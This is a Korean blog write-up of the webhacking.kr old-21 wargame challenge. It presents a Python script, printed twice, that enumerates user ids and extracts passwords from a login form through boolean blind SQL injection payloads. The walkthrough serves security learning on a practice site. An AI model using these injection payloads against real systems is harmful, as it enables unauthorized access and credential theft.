[webhacking.kr]old-21 write up

zzsla·2023년 11월 9일
0
post-custom-banner

문제 정보

없다.

문제

문제에 들어가면 "BLIND SQL INJECTION"이라고 적혀있고, 아래 로그인칸과 결과를 출력하는 칸이 있다.

분석

값이 어디에 어떤 값이 들어가도 되는지 확인을 한다. 즉 일단 id에만 아무 값이나 넣는다. Result에 반응이 없다. 그리고 똑같이 pw에만 아무값을 넣어본다. 이것도 똑같이 반응이 없다.
즉 id나 pw 한 곳에만 값이 들어가면 결과가 나오지 않는다.

그 다음은 결과가 어떤 게 있는지 확인해본다.
일단 id=%27&pw=1을 해 본다. 그러면 결과에 "login fail"이 나온다. 이것은 로그인을 실패했을 때 나오는 구문인 거 같다.(false 조건)

그 다음은 true일 때 결과를 확인해본다. 여러가지를 true 조건식을 넣어봐야 한다. id=%27+or+%271%27%3D%271%27%23%2500&pw=123 일 때 "wrong password"가 출력됐다. 즉 id값은 맞지만 password는 틀린 상황이다.

그 다음은 필터링되는 값을 확인한다. 필터링된 값은 "no hack"이라는 문구가 나온다. 딱히 select 외에는 필터링된 것을 찾지는 못했다.

취약점

그래서 true조건 false조건을 찾았으니까 이것을 이용해서 blind sql injection을 하면 된다. 일단 id,pw 둘 다 모르니 둘 다 구하는 코드를 짜야 한다.

익스플로잇

초기값 설정

익스플로잇할 때 필요한 값을 설정한다.
requests는 http를 요청할 때 사용하고, urllib은 url로 된 코드를 decode할 때 사용한다.

from requests import get
from urllib import parse

url = "https://webhacking.kr/challenge/bonus-1/index.php"

id 값 구하기

일단 id값을 알지 못하니 id값부터 구한다. id값이 여러개 일 수 있어서 코드는 이런 식으로 짰다.(주석글 참조)

user_check = [] # 처음 구한 id list
user_number = 0  # 처음 구한 id 수
user_count = 0 # n
flag1 = 0 # n - 1
flag2 = 0 # 다음 글자 수를 넘어가기 위한 조건
flag3 = 0 # while문을 탈출하기 위한 조건
count = 1 # 글자 수

while True:
	if flag3 == 1: # whlie문 탈출
    	break
	for i in range(65, 97):
    	hi = hex(i) #10진수 -> 16진수
        hi = hi.replace("0x", "%") #16진수형식을 url형식으로 변환
        if count == 1: # 첫번째 글자를 확인할 때 한 번만 돌려야 하기 때문에 if문으로 따로 뺏다.
        	query = f"{url}?id=%27+or+substr(id,1,1)=%27{hi}%27%23%2500&pw=123"
            r = get(query)
            if "wrong password" in r.text:
				user_check.append(hi)
                user_count += 1
            if i == 96:
            	print(f"{count} round end")
            	count = 2
                flag1 = user_count
                flag2 = user_count
        else: # 두번째 글자부터 
        	a = user_check[user_number]
            query = f"{url}?id=%27+or+substr(id,1,{count})=%27{a}{hi}%27%23%2500&pw=123"
            r = get(query)
            if "wrong password" in r.text:
            	a += hi
                user_check.append(a)
                user_count += 1
                
            if i == 96 and flag2 == 1 and user_count == flag1: # 더 이상 id가 없을 때
            	flag3 = 1 # while문 탈출 조건 on
                break
            elif i == 96 and flag2 == 1: # count글자 수의 id를 찾지 못했을 때 
            	print(f"{count} round end")
                count += 1
                flag2 = user_count - flag1
                flag1 = user_count
                user_number += 1
            elif i == 96:
            	flag2 -= 1
        		user_number += 1

user = [] # 실제 유저 리스트
print("처음 구한 id")
for i in user_check:
	query = f"{url}?id=%27+or+%27{i}%27%23%2500&pw=123"
	r = get(query)
    print(user_check)
    if "wrong password" in r.text:
    	user.append(i)

print("실제 존재하는 id")
for i in user:
	print(i)

useruser_check를 따로 만든 이유는 먼저 id들의 길이를 모르고, id가 거의 똑같고, 글자수만 다를 수 있기 때문에 저런 식으로 코드를 짰다.(a이란 id와 admin이란 id가 존재할 수 있기 때문에 user_check로 글자 수마다 리스트에 저장을 했고, id를 다시 한번 더 확인한 뒤에 맞는 id만 user리스트에 저장했다.)

pw 값 구하기

id값을 구했으니 해당 id들을 가지고 pw를 구한다.

for u in user:
	password = ""
    password_length = 0
    while True:
    	query = f"{url}?id={u}%27+and+length(pw)={password_length}%23%2500&pw=123"
        r = get(query)
        if "wrong password" in r.text:
        	break
        password_length += 1
    
    print(f"passowrd_length = {password_length}")
    
    for i in range(1, password_length+1):
    	bit_length = 0
        while True:
        	bit_length += 1
            query = f"{url}?id={u}%27+and+length(bin(ord(substr(pw,{i},1))))={bit_length}%23%2500&pw=123"
            r = get(query)
            if "wrong password" in r.text:
            	break
            
        bits = ""
        for j in range(1, bit_length + 1):
        	query = f"{url}?id={u}%27+and+substr((bin(ord(substr(pw,{i},1)))),{j},1)=%271%27%23%2500&pw=123"
            r = get(query)
            if "wrong password" in r.text:
				bits += "1"
            else:
            	bits += "0"
        password += int.to_bytes(int(bits,2), (bit_length + 7) // 8, "big").decode("utf-8")
    user_decoded = parse.unquote(u)
    print(f"id = {user_decoded}, pw = {password}")
print("finish")

정리하면 이런 코드가 나온다.

from requests import get
from urllib import parse

url = "https://webhacking.kr/challenge/bonus-1/index.php"

user_check = [] # 처음 구한 id list
user_number = 0  # 처음 구한 id 수
user_count = 0 # n
flag1 = 0 # n - 1
flag2 = 0 # 다음 글자 수를 넘어가기 위한 조건
flag3 = 0 # while문을 탈출하기 위한 조건
count = 1 # 글자 수

while True:
	if flag3 == 1: # whlie문 탈출
    	break
	for i in range(65, 97):
    	hi = hex(i) #10진수 -> 16진수
        hi = hi.replace("0x", "%") #16진수형식을 url형식으로 변환
        if count == 1: # 첫번째 글자를 확인할 때 한 번만 돌려야 하기 때문에 if문으로 따로 뺏다.
        	query = f"{url}?id=%27+or+substr(id,1,1)=%27{hi}%27%23%2500&pw=123"
            r = get(query)
            if "wrong password" in r.text:
				user_check.append(hi)
                user_count += 1
            if i == 96:
            	print(f"{count} round end")
            	count = 2
                flag1 = user_count
                flag2 = user_count
        else: # 두번째 글자부터 
        	a = user_check[user_number]
            query = f"{url}?id=%27+or+substr(id,1,{count})=%27{a}{hi}%27%23%2500&pw=123"
            r = get(query)
            if "wrong password" in r.text:
            	a += hi
                user_check.append(a)
                user_count += 1
                
            if i == 96 and flag2 == 1 and user_count == flag1: # 더 이상 id가 없을 때
            	flag3 = 1 # while문 탈출 조건 on
                break
            elif i == 96 and flag2 == 1: # count글자 수의 id를 찾지 못했을 때 
            	print(f"{count} round end")
                count += 1
                flag2 = user_count - flag1
                flag1 = user_count
                user_number += 1
            elif i == 96:
            	flag2 -= 1
        		user_number += 1

user = [] # 실제 유저 리스트
print("처음 구한 id")
for i in user_check:
	query = f"{url}?id=%27+or+%27{i}%27%23%2500&pw=123"
	r = get(query)
    print(user_check)
    if "wrong password" in r.text:
    	user.append(i)

print("실제 존재하는 id")
for i in user:
	print(i)

for u in user:
	password = ""
    password_length = 0
    while True:
    	query = f"{url}?id={u}%27+and+length(pw)={password_length}%23%2500&pw=123"
        r = get(query)
        if "wrong password" in r.text:
        	break
        password_length += 1
    
    print(f"passowrd_length = {password_length}")
    
    for i in range(1, password_length+1):
    	bit_length = 0
        while True:
        	bit_length += 1
            query = f"{url}?id={u}%27+and+length(bin(ord(substr(pw,{i},1))))={bit_length}%23%2500&pw=123"
            r = get(query)
            if "wrong password" in r.text:
            	break
            
        bits = ""
        for j in range(1, bit_length + 1):
        	query = f"{url}?id={u}%27+and+substr((bin(ord(substr(pw,{i},1)))),{j},1)=%271%27%23%2500&pw=123"
            r = get(query)
            if "wrong password" in r.text:
				bits += "1"
            else:
            	bits += "0"
        password += int.to_bytes(int(bits,2), (bit_length + 7) // 8, "big").decode("utf-8")
    user_decoded = parse.unquote(u)
    print(f"id = {user_decoded}, pw = {password}")
print("finish")

그렇게 하면 두 가지 값을 얻을 수 있는데 admin 계정으로 로그인하면 문제가 풀린다.

profile
[README]newbi security hacker :p
post-custom-banner

0개의 댓글